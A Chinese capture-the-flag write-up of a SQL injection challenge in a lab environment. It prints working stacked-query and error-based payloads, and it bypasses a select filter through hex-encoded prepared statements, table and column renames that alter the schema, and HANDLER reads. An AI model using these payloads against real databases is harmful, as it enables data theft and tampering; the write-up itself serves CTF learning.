题目环境:http://de044ac0-9162-4b83-b6a6-8c99ce0efe91.node3.buuoj.cn
打开环境:
尝试注入:
解题思路:
1、先尝试用union联合注入:
第一步、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型
1' [error]
1'# [不报错,正常回显]
1' and 1=1# [不报错,正常回显]
1' or 1=1# [不报错,正常回显]
初步判定存在SQL注入
第二步、利用order by查表的列数
1' order by 1# [不报错,正常回显]
1' order by 2# [不报错,正常回显]
1' order by 3# [error 1054 : Unknown column '3' in 'order clause']得知这张表有三列
第三步、如有回显,找到回显位(回显,就是显示正在执行的批处理命令及执行的结果等)
1' union select 1,2# [return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);]-----回显了过滤的关键字(/i表示对大小写不敏感)
2、不能找到回显位,接下来尝试使用堆叠注入(就是通过 ;分号注入多条SQL语句)
①通过show databases爆出数据库:1';show databases;#(执行结果如下图)
②用 show tables 尝试爆表:1';show tables;#(发现有words和1919810931114514这两张表)
③可以看到这里有两个表,我们先尝试爆words表中的内容:1'; show columns from words; #然后爆表 1919810931114514 中的内容:1'; show columns from `1919810931114514`; #
注意:表名为数字时,要用反引号包起来查询(反引号为英文状态下的Tab上面那个键)
以上步骤可以发现爆出来了flag字段,然而我对于flag毫无办法:
这里过滤了select,也没有发现绕过select的地方(大小写,加注释)。
于是可以考虑一下报错注入,这里限制了update,那么就不用updatexml,用extractvalue用户名 1' and (extractvalue(1,concat(0x7e,user(),0x7e)));# error 1105 : XPATH syntax error: '~root@localhost~' 数据库 1' and (extractvalue(1,concat(0x7e,database(),0x7e)));# error 1105 : XPATH syntax error: '~supersqli~' 版本 1' and (extractvalue(1,concat(0x7e,version(),0x7e)));# error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'
到这里可以查出简单的信息,但是过滤了select,似乎无法进一步查表查列了。
可以看到1919810931114514表中有我们想要的flag字段,现在常规方法基本就结束了,要想获得flag就必须来点骚姿势了
借鉴一下大佬们的wp:大佬A、大佬B
绕过SELECT解题思路1:SQL预编译
上一步我们可以得知flag存在于1919810931114514表的flag字段
接下来要读取此字段内的数据,我们要执行的目标语句是:select * from `1919810931114514`;但是由上面步骤可知过滤了select关键字
这里需要绕过select的限制,我们可以使用SQL预编译的方式:
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
直接上payload就懂了:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
payload改为:
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');PRepare stmt from @sql;EXECUTE stmt;#
获得FLAG:
flag{916339c0-aa58-4f9e-827f-6489a2d3ff44}
或者:
因为select被过滤了,所以先将select * from `
1919810931114514
`进行16进制编码再通过构造payload得
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
进而得到flag
- prepare…from…是预处理语句,会进行编码转换。
- execute用来执行由SQLPrepare创建的SQL语句。
- SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
绕过SELECT解题思路2:更改表名列名
虽然有强大的正则过滤,但没有过滤alert和rename关键字
由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = '';
反想一下,我们如果将表1919810931114514名字改为words,flag列名字改为id,那么我们就能得到flag的内容了!
修改表名和列名的语法如下:
-- 修改表名
rename table old_table to new_table;
-- 或者
alter table old_table rename to new_table;
-- 修改列名称
alter table table_name change column old_name new_name varchar(255);
-- 修改字段类型
alter table table_name modify column column_name varchar(255) default '' COMMENT '注释';
最终payload如下:先将原来的表words改为words1,将表1919810931114514名字改为words,flag列名字改为id
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
然后使用1' or 1=1#
即可查询出flag(相当于二次注入)
绕过SELECT解题思路3:handler语句代替select查询
类似题型:[2020i春秋抗疫赛] WEB blanklist(SQL堆叠注入、handler绕过)
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
语法结构:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
如:通过handler语句查询users表的内容
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
本题payload如下:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#